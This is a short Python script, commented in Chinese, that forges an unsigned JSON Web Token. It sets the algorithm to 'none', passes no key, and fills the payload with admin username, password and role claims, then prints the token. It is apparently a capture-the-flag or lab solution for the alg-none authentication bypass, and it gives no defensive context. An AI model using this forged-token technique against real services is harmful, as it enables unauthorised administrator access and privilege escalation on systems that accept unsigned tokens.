import jwt


def create_token():
    # 构造header
    headers = {
        'typ': 'jwt',
        'alg': 'none'
    }
    # 构造payload
    payload = {
        "username": "admin",
        "password": "admin",
        "role": "admin"
    }
    result = jwt.encode(payload=payload, key=None, algorithm="none", headers=headers).decode('utf-8')
    return result


if __name__ == '__main__':
    token = create_token()
    print(token)